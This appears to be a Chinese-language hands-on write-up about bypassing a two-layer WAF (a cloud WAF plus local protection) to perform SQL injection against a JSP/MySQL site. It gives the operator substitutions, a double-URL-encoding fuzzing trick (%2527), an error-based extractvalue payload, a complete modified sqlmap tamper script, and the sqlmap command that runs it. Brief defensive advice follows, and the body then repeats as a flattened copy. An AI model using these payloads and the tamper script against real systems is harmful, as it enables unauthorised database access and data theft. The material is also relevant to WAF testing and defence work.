实战绕过双重waf结合sqlmap tamper获取数据
字数 1323 2025-08-20 18:16:58

实战绕过双重WAF结合SQLMap Tamper获取数据

前言

本文记录了一次针对双重WAF防护的SQL注入绕过实战经验。目标系统采用JSP环境,后端数据库为MySQL,存在两层WAF防护:第一层是云WAF,第二层可能是本地安全狗或代码层面的防护。通过多次fuzz测试,最终成功找到突破口,并利用SQLMap的tamper脚本实现数据获取。

双重WAF分析

第一层:云WAF

  • 使用简单的'and '1'='1可以触发WAF拦截
  • 绕过方法:使用&&替换and并进行URL编码
    • 示例:%26%26代替and
    • 原因:云WAF可能没有对特殊字符组合进行充分检测

第二层:本地防护

  • 检测=符号:使用like替换=
  • 示例:||代替orlike代替=

Fuzz测试过程

第一次Fuzz尝试

目标:寻找会被替换为空的字符

方法

  1. 构造payload:123%XX321(XX从00到FF)
  2. 在返回结果中寻找123321,表示中间的字符被替换为空
  3. 结果:未找到符合条件的字符

第二次Fuzz尝试

方法:双重URL编码测试

  1. 构造payload:123%25XX321
  2. 发现%2527被替换为空(%27即单引号')
  3. 原理:服务器自动URL解码一次,将%27替换为空

成功payload

123%2527321 → 123321

绕过技术实现

报错注入测试

利用发现的绕过方法构造报错注入:

'||extractvalue(1,concat(0x7e,version()))||'

双重URL编码后:

%2527||extractvalue(1,concat(0x7e,version()))||%2527

SQLMap Tamper定制

目标:自动化利用发现的绕过方法

修改percentage.py tamper脚本

  1. 原始功能:在每个字符前加%
  2. 修改为:在每个字符前加%2527
  3. 关键修改点:
retVal += '%%2527%s' % payload[i]
  1. 额外处理:将=替换为like
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)

完整tamper脚本

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
import re

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is unlikely to work against non-MySQL targets" % os.path.basename(__file__).split(".")[0])

def tamper(payload, **kwargs):
    """
    Adds a percentage sign ('%2527') in front of each character

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass weak web application firewalls when the
          backend DBMS is MySQL
    """

    retVal = ""

    if payload:
        for i in range(len(payload)):
            retVal += '%%2527%s' % payload[i]
        retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)

    return retVal

SQLMap使用命令

python2 sqlmap.py -r "request.txt" --dbms=mysql --technique=E --tamper mypercentage

参数说明:

  • -r:从文件加载HTTP请求
  • --dbms=mysql:指定MySQL数据库
  • --technique=E:使用报错注入技术
  • --tamper mypercentage:使用自定义的tamper脚本

关键知识点总结

  1. 双重WAF绕过思路

    • 分层分析,逐层突破
    • 第一层云WAF:特殊字符组合绕过
    • 第二层本地防护:关键字替换
  2. Fuzz测试技巧

    • 使用Burp Suite Intruder进行系统化测试
    • 设置响应结果匹配标志(如123321)
    • 测试范围:从00到FF的所有字符
  3. 双重URL编码绕过

    • %2527 → 服务器解码为%27 → 被替换为空
    • 有效隐藏了单引号等敏感字符
  4. SQLMap Tamper定制

    • 理解tamper脚本工作原理
    • 根据实际绕过需求修改字符处理逻辑
    • 结合关键字替换增强绕过能力
  5. 报错注入利用

    • 利用MySQL的extractvalue等函数
    • 结合绕过方法构造有效payload

防御建议

  1. 对WAF规则进行严格测试,确保能检测各种编码变体
  2. 实现多层防御机制,包括输入验证、参数化查询等
  3. 监控和记录异常请求模式
  4. 定期更新WAF规则以应对新型攻击手法

通过这种系统化的测试和绕过方法,即使面对复杂的WAF防护,也能找到有效的注入突破口。关键在于耐心测试和对各种绕过技术的灵活组合应用。

实战绕过双重WAF结合SQLMap Tamper获取数据 前言 本文记录了一次针对双重WAF防护的SQL注入绕过实战经验。目标系统采用JSP环境,后端数据库为MySQL,存在两层WAF防护:第一层是云WAF,第二层可能是本地安全狗或代码层面的防护。通过多次fuzz测试,最终成功找到突破口,并利用SQLMap的tamper脚本实现数据获取。 双重WAF分析 第一层:云WAF 使用简单的 'and '1'='1 可以触发WAF拦截 绕过方法:使用 && 替换 and 并进行URL编码 示例: %26%26 代替 and 原因:云WAF可能没有对特殊字符组合进行充分检测 第二层:本地防护 检测 = 符号:使用 like 替换 = 示例: || 代替 or , like 代替 = Fuzz测试过程 第一次Fuzz尝试 目标 :寻找会被替换为空的字符 方法 : 构造payload: 123%XX321 (XX从00到FF) 在返回结果中寻找 123321 ,表示中间的字符被替换为空 结果:未找到符合条件的字符 第二次Fuzz尝试 方法 :双重URL编码测试 构造payload: 123%25XX321 发现 %2527 被替换为空( %27 即单引号') 原理:服务器自动URL解码一次,将 %27 替换为空 成功payload : 绕过技术实现 报错注入测试 利用发现的绕过方法构造报错注入: 双重URL编码后: SQLMap Tamper定制 目标 :自动化利用发现的绕过方法 修改percentage.py tamper脚本 : 原始功能:在每个字符前加 % 修改为:在每个字符前加 %2527 关键修改点: 额外处理:将 = 替换为 like 完整tamper脚本 : SQLMap使用命令 参数说明: -r :从文件加载HTTP请求 --dbms=mysql :指定MySQL数据库 --technique=E :使用报错注入技术 --tamper mypercentage :使用自定义的tamper脚本 关键知识点总结 双重WAF绕过思路 : 分层分析,逐层突破 第一层云WAF:特殊字符组合绕过 第二层本地防护:关键字替换 Fuzz测试技巧 : 使用Burp Suite Intruder进行系统化测试 设置响应结果匹配标志(如123321) 测试范围:从00到FF的所有字符 双重URL编码绕过 : %2527 → 服务器解码为 %27 → 被替换为空 有效隐藏了单引号等敏感字符 SQLMap Tamper定制 : 理解tamper脚本工作原理 根据实际绕过需求修改字符处理逻辑 结合关键字替换增强绕过能力 报错注入利用 : 利用MySQL的 extractvalue 等函数 结合绕过方法构造有效payload 防御建议 对WAF规则进行严格测试,确保能检测各种编码变体 实现多层防御机制,包括输入验证、参数化查询等 监控和记录异常请求模式 定期更新WAF规则以应对新型攻击手法 通过这种系统化的测试和绕过方法,即使面对复杂的WAF防护,也能找到有效的注入突破口。关键在于耐心测试和对各种绕过技术的灵活组合应用。